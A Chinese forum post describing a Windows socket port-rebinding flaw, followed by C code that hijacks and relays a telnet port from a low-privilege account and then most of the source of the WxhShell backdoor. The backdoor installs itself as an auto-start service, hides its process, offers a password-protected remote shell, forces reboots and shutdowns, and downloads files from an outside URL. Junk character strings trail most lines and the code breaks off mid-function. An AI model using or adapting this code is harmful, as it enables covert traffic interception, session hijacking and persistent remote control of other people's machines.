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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: >Vz Gx(7q  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); :c3}J<Z  
|3`Sd;^;  
  saddr.sin_family = AF_INET; )/kkvI()l  
+U_> Bo  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); 0PO'9#  
[u\E*8  
  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); v J9Uw  
LDqq'}qK6  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 m|!R/,>S4  
&m2FEQLj  
  这意味着什么?意味着可以进行如下的攻击: }mQ7N&cC  
P6V_cw$  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 8wz%e(  
t:NTk(  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) vn<z\wVbf  
g]?&qF}  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 {E`[ `Kf  
m?bd6'&FR  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  YSERQo  
# 12  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 nTxeV%  
 *X- 6]C  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 5W_u|z+/g  
S\=j; Uem  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 jq#gFt*  
PhL}V|W>  
  #include Q`k=VSUk  
  #include 7ukJ\P5[&1  
  #include .O! JI"?  
  #include    A8 V7\  
  DWORD WINAPI ClientThread(LPVOID lpParam);   O|j(CaF  
  int main() #T:#!MKa  
  { 6Yhd[I3  
  WORD wVersionRequested; d#E]>:w9  
  DWORD ret; `F5iZWW1  
  WSADATA wsaData; 8sb<$M$c  
  BOOL val; #G2~#\  
  SOCKADDR_IN saddr; (#x <qi,T  
  SOCKADDR_IN scaddr; IGz92&y  
  int err; ;v%Fw!b032  
  SOCKET s; ) *Mr{`  
  SOCKET sc; |hms'n0  
  int caddsize; JW[y  
  HANDLE mt; 5ZeE& vG2  
  DWORD tid;   :L gFd  
  wVersionRequested = MAKEWORD( 2, 2 ); Au Ib>@a  
  err = WSAStartup( wVersionRequested, &wsaData ); MzZYzz  
  if ( err != 0 ) { % C~2k?  
  printf("error!WSAStartup failed!\n"); ~ED8]*H|`  
  return -1; ;|_aACina  
  } 3aIP^I1  
  saddr.sin_family = AF_INET; Y"~Tf{8  
   `B6~KZ  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 V|GH4DT=  
I^erMQn[ z  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); _~V7m  
  saddr.sin_port = htons(23); LV|ZZ.d h  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) faQ}J%a  
  { qgREkb0  
  printf("error!socket failed!\n"); XFpII4 5  
  return -1; )yvI  {  
  }  PI_MSiYQ  
  val = TRUE; k L\;90  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 u!I Es  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) sXHrCU  
  { (IdXJvKU!  
  printf("error!setsockopt failed!\n"); EC(,-sz\Z  
  return -1; ):"Z7~j=  
  } umPd+5i  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; Q;r9>E!  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 A9Cq(L_H  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 rg Gm[SL*<  
m(MPVY<X  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) ?sfas57&y  
  { $|+q9 o\  
  ret=GetLastError(); Ia_I~ U$  
  printf("error!bind failed!\n"); .B 2?%2S  
  return -1; Q72}V9I9  
  } HKu? J  
  listen(s,2); f Z8%Z   
  while(1) x'IVP[xh`A  
  { 8m% +O#  
  caddsize = sizeof(scaddr); GJ YXCi  
  //接受连接请求 hBb&-/  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); reo  
  if(sc!=INVALID_SOCKET) e$H N/O  
  { :`('lrq  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); Qtj.@CGB  
  if(mt==NULL) eeKErpj8A  
  { 05= $Dnv  
  printf("Thread Creat Failed!\n"); /{Ff)<Q.Z  
  break; :)f/>-   
  } 8!8 yA  
  } )1 ]P4  
  CloseHandle(mt); -L%J,f[&,  
  } Gk~QgD/Pix  
  closesocket(s); f#4,2Xf  
  WSACleanup(); S$9>9!1>*  
  return 0; u!kC+0Y  
  }   [[uKakp  
  DWORD WINAPI ClientThread(LPVOID lpParam) "},0Cs  
  { qg521o$*  
  SOCKET ss = (SOCKET)lpParam; X|o;*J](  
  SOCKET sc; :r5DR`Rfm  
  unsigned char buf[4096]; K)NB{8 _  
  SOCKADDR_IN saddr; B[XVTok  
  long num; =W+ h.?  
  DWORD val; /u hA\m(  
  DWORD ret; uu08q<B5b)  
  //如果是隐藏端口应用的话,可以在此处加一些判断 TL^af-  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   nR%ASUx:Y  
  saddr.sin_family = AF_INET; Q[g>ee  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); S b0p?  
  saddr.sin_port = htons(23); ,'=Tf=wq  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) CM$q{;y  
  { 3&H#LGoV$  
  printf("error!socket failed!\n"); LjZvWts?  
  return -1; D@jG+k-Lm  
  } j?!BHNs  
  val = 100; ~Sq!P  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0)  :{#%_^}k  
  { \}CQo0v  
  ret = GetLastError(); |%wgux`z  
  return -1; $raxf80A  
  } &x~&]  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) eK<X7m^  
  { 2t9JiH  
  ret = GetLastError(); U5rcI6  
  return -1; E0F8FR'  
  } P''5A6#5  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) :.;p Rz  
  { 4<`Qyul-  
  printf("error!socket connect failed!\n"); t(<^of:  
  closesocket(sc); K})=&<M0  
  closesocket(ss); )SkJgzvC  
  return -1; bCv=Uo,+6  
  } DV={bcQ  
  while(1) U`{'-L.  
  { "Jd!TLt\x  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 P'EPP*)q  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 n^} -k'l  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 fY)Dx c&ue  
  num = recv(ss,buf,4096,0); <n8K"(sy}  
  if(num>0) w$ zX.;s  
  send(sc,buf,num,0); \0}!qG![AA  
  else if(num==0) YIP /N  
  break; ^]x%z*6  
  num = recv(sc,buf,4096,0); Ino$N|G[  
  if(num>0) _(#HQd,i  
  send(ss,buf,num,0); <K^{36h  
  else if(num==0) H C %tJ:G  
  break; $0uh8RB  
  } RK7vR~kf<  
  closesocket(ss); wjJM\BKr`  
  closesocket(sc); wR7Ja cKv  
  return 0 ; C*+gQeK  
  } L5+X&  
R`IFKmA EJ  
nFRU-D$7  
========================================================== Xv1 SRP#  
,F&TSzH[@v  
下边附上一个代码,,WXhSHELL O)0}yF$0  
@D?KS;#  
========================================================== =r w60B  
E_fH,YJ?9  
#include "stdafx.h" |E%i t?3M  
kAu-=X  
#include <stdio.h> 5=;LHS*   
#include <string.h> D=B$ Pv9%  
#include <windows.h> 3YKJN4  
#include <winsock2.h> xj6@85^  
#include <winsvc.h> >GbCRN~  
#include <urlmon.h> [uJfmrEH  
6MewQ{hi  
#pragma comment (lib, "Ws2_32.lib") RA%=_wPD +  
#pragma comment (lib, "urlmon.lib") :i{Svb*_'  
n\-nBrVSf  
#define MAX_USER   100 // 最大客户端连接数  U(d K  
#define BUF_SOCK   200 // sock buffer _T96.~Q  
#define KEY_BUFF   255 // 输入 buffer 1Q5:Vo^B#  
d4#CZv[g/  
#define REBOOT     0   // 重启 I_/E0qSJI  
#define SHUTDOWN   1   // 关机 Yk;-]qi7  
Ofx]  
#define DEF_PORT   5000 // 监听端口 kp6{QKDj&  
3"*tP+H  
#define REG_LEN     16   // 注册表键长度 fbTq?4&Q  
#define SVC_LEN     80   // NT服务名长度 )S:,q3gxJ  
\?$`dA[  
// 从dll定义API ;\N )RZ  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); (6y[,lYH  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); uW%(ySbq  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); &["s/!O1R  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); }?\8%hK"a7  
Ipp#{'Do  
// wxhshell配置信息 P{bRRn4Z  
struct WSCFG { GiZv0>*x  
  int ws_port;         // 监听端口 $wr B5m?  
  char ws_passstr[REG_LEN]; // 口令 KQf=t0Z=Ce  
  int ws_autoins;       // 安装标记, 1=yes 0=no H%nA"-  
  char ws_regname[REG_LEN]; // 注册表键名 D]?eRO9'  
  char ws_svcname[REG_LEN]; // 服务名 f3>L/9[[<P  
  char ws_svcdisp[SVC_LEN]; // 服务显示名  Kl'u  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 65HP9`5Tm  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 F @%`(/^TA  
int ws_downexe;       // 下载执行标记, 1=yes 0=no yb-1zF|  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" 7R4t%^F  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 <:n !qQS6  
.jXD0~N8q  
}; rN3qTp  
\&6^c=2=  
// default Wxhshell configuration iBM;$0Y  
struct WSCFG wscfg={DEF_PORT, wHT]&fZ  
    "xuhuanlingzhe", {4 y#+[  
    1, QX`T-)T e  
    "Wxhshell", nF)b4`Nd  
    "Wxhshell", ee}HQ.}Ja  
            "WxhShell Service", cIS?EW]S%X  
    "Wrsky Windows CmdShell Service", 2Y7u M;8  
    "Please Input Your Password: ", ; u@& [  
  1, ^pysoaZCT_  
  "http://www.wrsky.com/wxhshell.exe", ;4'pucq5/  
  "Wxhshell.exe" R1/h<I:  
    }; .eHOG]H  
:~{Nf-y0`1  
// 消息定义模块 Q,m&XpZ  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; J#*%r)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; rRQKW_9mB  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; O a%ZlEUF  
char *msg_ws_ext="\n\rExit."; 8Y,imj\(v  
char *msg_ws_end="\n\rQuit."; xU!eT'Y  
char *msg_ws_boot="\n\rReboot..."; 0! W$Cz[  
char *msg_ws_poff="\n\rShutdown..."; /Xm4%~b_gj  
char *msg_ws_down="\n\rSave to "; MS~+P'  
JW}O`H9  
char *msg_ws_err="\n\rErr!"; ln2lFfz  
char *msg_ws_ok="\n\rOK!"; %K[u  
W7` fI*lc  
char ExeFile[MAX_PATH]; ,\RZ+kC>~  
int nUser = 0; s# 9*`K  
HANDLE handles[MAX_USER]; aGml!N5'  
int OsIsNt; Pm/Rc  
,+>JQ82  
SERVICE_STATUS       serviceStatus; PC<[ $~  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; s L=}d[  
6Bf aB:  
// 函数声明 mUdj2vB$+'  
int Install(void); i",7<01  
int Uninstall(void); 8W2oGL6  
int DownloadFile(char *sURL, SOCKET wsh); /wX5>^  
int Boot(int flag); Rn_FYP  
void HideProc(void); BW x=Q  
int GetOsVer(void); 6%B)  
int Wxhshell(SOCKET wsl); tJvs ?eZ)  
void TalkWithClient(void *cs); _'0C70  
int CmdShell(SOCKET sock); NZL$#bRB  
int StartFromService(void); mHF? t.y  
int StartWxhshell(LPSTR lpCmdLine); "qdEu KI  
%F}i2!\<L  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); l<)k`lrMX4  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); od-yVE&  
2r"J"C  
// 数据结构和表定义 P^57a?[`  
SERVICE_TABLE_ENTRY DispatchTable[] = ' 4.T1i,  
{ f 0r?cZ  
{wscfg.ws_svcname, NTServiceMain}, AF\gB2^  
{NULL, NULL} Fnc MIzp  
}; G@+R!IG  
ZZ324UuATX  
// 自我安装 gZ>) S@  
int Install(void) oe*CZ  
{ P[%nD cB  
  char svExeFile[MAX_PATH]; REGk2t.L  
  HKEY key; LEC=@) B  
  strcpy(svExeFile,ExeFile); I&9Itn p$  
'\% Kd+k  
// 如果是win9x系统,修改注册表设为自启动 E}g)q;0v|2  
if(!OsIsNt) { @q"HZO[  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { y#{v\h Cz  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); _KJ!C!  
  RegCloseKey(key); n+57# pS7  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { NHQi_U  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ?Q~o<%U7  
  RegCloseKey(key); ECk* H  
  return 0; #Dp]S, e  
    } K"jS,a?s 6  
  } P$zhMnAAN  
} hf\/2Vl  
else { LDY3Ya`6m  
hjq@ .5  
// 如果是NT以上系统,安装为系统服务 w_P2\B^  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); R.Kz nJ  
if (schSCManager!=0) 1G8,Eah  
{ )I"I[jDw  
  SC_HANDLE schService = CreateService PYiO l  
  ( abw5Gz@Ag  
  schSCManager, T|-llhJ8  
  wscfg.ws_svcname, )lU9\"?o  
  wscfg.ws_svcdisp, @^.o8+Pp  
  SERVICE_ALL_ACCESS, 30W.ks5(  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , WOQ>]Z  
  SERVICE_AUTO_START, E?FUr?-[  
  SERVICE_ERROR_NORMAL, TPn#cIPG  
  svExeFile, PsM8J  
  NULL, cAq5vAqmg  
  NULL, & zv!cf  
  NULL, (SMk !b]}  
  NULL, srhI%Zj  
  NULL dVSQG947i:  
  ); Pq, iR J  
  if (schService!=0) ue*o>iohB  
  { H 3so&_  
  CloseServiceHandle(schService); $;rvKco)%  
  CloseServiceHandle(schSCManager); W[:CCCDL  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); c{j)beaS  
  strcat(svExeFile,wscfg.ws_svcname); uann'ho?q  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { s6k(K>Pl  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); L=dQ,yA  
  RegCloseKey(key); F#^/=AR'  
  return 0; 2B"tT"f  
    } *j<{3$6Ii  
  } +ryB*nT  
  CloseServiceHandle(schSCManager); M'VJE|+t  
} _UV_n!R  
} (aLjW=  
n&2OfBJ  
return 1; f!F5d1N  
} Q <ulh s  
ZK h4:D  
// 自我卸载 .,f]'!5  
int Uninstall(void) Z7I\\M  
{ yL %88,/  
  HKEY key; VRTJKi  
Z23T 2  
if(!OsIsNt) { [6Q1yNE  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { M)~sL1)  
  RegDeleteValue(key,wscfg.ws_regname); -O\f y!  
  RegCloseKey(key); b&6lu4D  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ^kke  
  RegDeleteValue(key,wscfg.ws_regname); KA>QW[HX  
  RegCloseKey(key); &eb8k2S  
  return 0; <{j;']V;  
  } OC)=KV@KE  
} `I8ep=VZ  
} vSR5F9  
else { mkq246<D~  
mWU d-|Ul  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); h]vEXWpG]  
if (schSCManager!=0) :!^NjO  
{ ^r,0aNzAs  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); 97/ 4J  
  if (schService!=0) EQQ@nW{;  
  { xd\ml 37~  
  if(DeleteService(schService)!=0) { L)qUBp@MW  
  CloseServiceHandle(schService); }a;H2&bu  
  CloseServiceHandle(schSCManager); egAYJK-,!  
  return 0; S f6%A  
  } z<%dWz  
  CloseServiceHandle(schService); "ruYMSpU  
  } -d-xsP} s  
  CloseServiceHandle(schSCManager); Q.fUpa v  
} Q5A,9ovNZ  
} G'`^U}9V\  
"gFw:t"VV  
return 1;  uAs!5h  
} (b.4&P"0  
UC j:]!P  
// 从指定url下载文件 _GM?`  
int DownloadFile(char *sURL, SOCKET wsh)  > H&v  
{ P 5.@LN  
  HRESULT hr;  OO</d:  
char seps[]= "/"; ss6{+@,  
char *token; '<QFf  
char *file; N 'n0I^Y1A  
char myURL[MAX_PATH]; Cm]\5}Py  
char myFILE[MAX_PATH]; V`9*_8Dx2  
fhyoSRLR:  
strcpy(myURL,sURL); j7$xHnV4  
  token=strtok(myURL,seps); /ZM xVh0  
  while(token!=NULL) 9m)gp19YA  
  { NwdrJw9  
    file=token; >I-rsw2  
  token=strtok(NULL,seps); &3J^z7kU  
  } {jv+ J L"5  
ohs`[U=%~  
GetCurrentDirectory(MAX_PATH,myFILE); B`||4*  
strcat(myFILE, "\\"); `+0dz,  
strcat(myFILE, file); e tL?UF$  
  send(wsh,myFILE,strlen(myFILE),0); |UB)q5I  
send(wsh,"...",3,0); ;kWWzg  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); {{B'65Wu  
  if(hr==S_OK) zhbSiw  
return 0; S}cR+d1}h  
else ~2 nt33"  
return 1; SurreD<x  
zg'.fUZ  
} [#YzU^^Ib  
e"*1l>g  
// 系统电源模块 $:# :"  
int Boot(int flag) w~&#:F?  
{ 6(x53 y__  
  HANDLE hToken; ;Qi!~VsP;  
  TOKEN_PRIVILEGES tkp; p1hF.  
MK1#^9Zr  
  if(OsIsNt) { sSc~q+xz  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); `%^w-'  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); C#8A|  
    tkp.PrivilegeCount = 1; )\PX1198  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; IuA4eDr^Y%  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Onh R`  
if(flag==REBOOT) { ]*gf$D  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) Z"qJil}  
  return 0; ^Bo'87!.  
} +FAxqCkA  
else { nLmF5.&  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) o4OB xHKy  
  return 0; *]}F=dtR k  
} `'*4B_.  
  } :_]0 8  
  else { MppT"t  
if(flag==REBOOT) { z}B8&*>  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) {'[VL;k  
  return 0; Ekik_!aB  
} fJ0V|o  
else { P;K LN9/4  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) CrSBN~  
  return 0; N-t"CBTO  
} N=7iQ@{1   
} IOF!Ra:w  
A:D9qp  
return 1; w\UAKN60  
} 3aBE[  
@'5*jXd  
// win9x进程隐藏模块 w<zzS: PF*  
void HideProc(void) ,qo^G0XO  
{ mXS"nd30bD  
R'6(eA[K  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); ~wF3$H.@;  
  if ( hKernel != NULL ) +> d;%K  
  { >8x)\'w  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); /d">}%Jn  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); m@lUJY  
    FreeLibrary(hKernel); %#PWD7a\  
  } ^TjC  
r> Xk1~<!  
return; = Ezg3$%-  
} xK)<7 63q>  
M2RkrW#  
// 获取操作系统版本 s;E(51V<>  
int GetOsVer(void) W}"tf L8  
{ y\(xYB>T  
  OSVERSIONINFO winfo; @GGQ13Cj(  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `IJ)'$pn  
  GetVersionEx(&winfo); /OB)\{-  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) )db:jPkwd  
  return 1; V~ MsGj  
  else -3 ANNj  
  return 0; k3e6y  
} 6V ncr}  
G<k.d"<  
// 客户端句柄模块 mPqK k  
int Wxhshell(SOCKET wsl) h-sO7M0E]  
{ !syyOfu`}  
  SOCKET wsh; %Y0BPTt$  
  struct sockaddr_in client; avM8-&h  
  DWORD myID; `HnZ{PKf  
6uKth mr  
  while(nUser<MAX_USER) (d@(QJ  
{ :?LNP3}  
  int nSize=sizeof(client); {Rb;1 eYj  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); )m+O.`x  
  if(wsh==INVALID_SOCKET) return 1; zDEgC  
ZMr[:,Jp  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); EkRx/  
if(handles[nUser]==0) LR!%iP  
  closesocket(wsh); isy[RAP<  
else =R 4]Kf  
  nUser++; Y:#B0FD,gC  
  } [u=yl0f  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); gdoaXw;Sy  
GVu[X?q@|  
  return 0; p:$kX9mT&  
} 9o6[4Q}  
GUD]sXSj  
// 关闭 socket W8u&5#$I  
void CloseIt(SOCKET wsh) |'JN<?   
{ 2TQZu3$c  
closesocket(wsh); %X^qWKix}m  
nUser--; oR!h eCnu  
ExitThread(0); lq]8zm<\)]  
} Csp$_uDi  
=8TBkxG  
// 客户端请求句柄 ;I80<SZ  
void TalkWithClient(void *cs) J>G'H)  
{ :f%kk atO  
2~7*jA+Ab  
  SOCKET wsh=(SOCKET)cs; @$L|   
  char pwd[SVC_LEN]; ePl+ M  
  char cmd[KEY_BUFF]; aIQC[ry  
char chr[1]; ^c9_F9N  
int i,j; 6[RTL2&W  
#`U?,>2q  
  while (nUser < MAX_USER) { \CE+P5  
R.l!KIq  
if(wscfg.ws_passstr) { 2 M\7j  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3djw  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); trjeGSt&  
  //ZeroMemory(pwd,KEY_BUFF); 0S4Y3bac&  
      i=0; JY"J}  
  while(i<SVC_LEN) { /.rj\,  
,3eN&  
  // 设置超时 }.U(Gxu$  
  fd_set FdRead; OC-d5P  
  struct timeval TimeOut; c+7I  
  FD_ZERO(&FdRead); 7J`v#  
  FD_SET(wsh,&FdRead); ;;rx)|\<R  
  TimeOut.tv_sec=8; ^&y*=6C  
  TimeOut.tv_usec=0; bivo7_  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); GUM-|[~  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); J#4pA{01w  
sa/9r9hc+  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); 1M?x,N_W  
  pwd=chr[0]; v0(}"0  
  if(chr[0]==0xd || chr[0]==0xa) { VKu_ l  
  pwd=0; <0hVDk~  
  break; K4E2W9h  
  } =B'Yx  
  i++; $G}k'[4C  
    } )+hJi/g  
_8-1wx  
  // 如果是非法用户,关闭 socket  5T9[a  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); q o-|.I  
} uh#E^~5S  
a #s Nd  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); F3$8l[O_  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); [; $:Lr  
Mh3L(z]/E  
while(1) { |HJ`uGN<b  
`*yOc6i]  
  ZeroMemory(cmd,KEY_BUFF); _Gb 7n5p  
-iW>T5f  
      // 自动支持客户端 telnet标准   S;iD~>KP  
  j=0; WLh!L='{BK  
  while(j<KEY_BUFF) { mI:D  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); J|o<;9dg1  
  cmd[j]=chr[0]; KyDd( 'i  
  if(chr[0]==0xa || chr[0]==0xd) { ){u# (sW  
  cmd[j]=0; j5[ >HL  
  break; z Z~t ,>  
  } l ObY  
  j++; Rf>V]R  
    } MIZ!+[At  
[xGL0Z%)t  
  // 下载文件 ^ yF Wvfh4  
  if(strstr(cmd,"http://")) { :x3DuQP  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); qT4`3nH:  
  if(DownloadFile(cmd,wsh)) n[v`F  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); @Xh8kvc81  
  else ,O^kZ}b  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); -)bu&  
  } (5y*Btd=  
  else { A]o3 MoSt  
8F)9.s,*  
    switch(cmd[0]) { {\VsM#K6  
  YY7dw:>e/  
  // 帮助 \MmB+'f&R  
  case '?': { \Km+>G  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 7<2?NLE8*  
    break; eCg|@d%D  
  } j *N^.2  
  // 安装 1. Q"<[M  
  case 'i': { bZQ_j#{$  
    if(Install()) i !SN"SY  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); TC:t!:  
    else 4zBcq<R7  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ;t@^Z_z,CR  
    break; 4`r-*Lx  
    } ashVV~\8A  
  // 卸载 (15.?9  
  case 'r': { NB(  GE  
    if(Uninstall()) '$ G%HUn  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 9N) Ea:N  
    else V|nJ%G\  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); : :/vDUDc  
    break; x^pHP|<3`  
    } g^\>hjNX  
  // 显示 wxhshell 所在路径 f-}_  
  case 'p': { zKG]7  
    char svExeFile[MAX_PATH]; 0J= $ A  
    strcpy(svExeFile,"\n\r"); Ftu d6  
      strcat(svExeFile,ExeFile); 'sI @e s  
        send(wsh,svExeFile,strlen(svExeFile),0); pSpxd |k  
    break; #N\<(SD/  
    } #q?:Act  
  // 重启 S8]YS@@D   
  case 'b': { Y3'dV)  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); oYeFO w`  
    if(Boot(REBOOT)) 2-"`%rE  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); MPsm)jqX  
    else { 9v}vCg  
    closesocket(wsh); fEyc3K'5V  
    ExitThread(0); GsE =5A8  
    } $[(FCS  
    break; elP#s5l4  
    } %Vsg4DRy  
  // 关机 H<`7){iG  
  case 'd': { M;@/697G  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); o1<Z; 2#  
    if(Boot(SHUTDOWN)) Xkp`1UTH  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0);  0LUw  
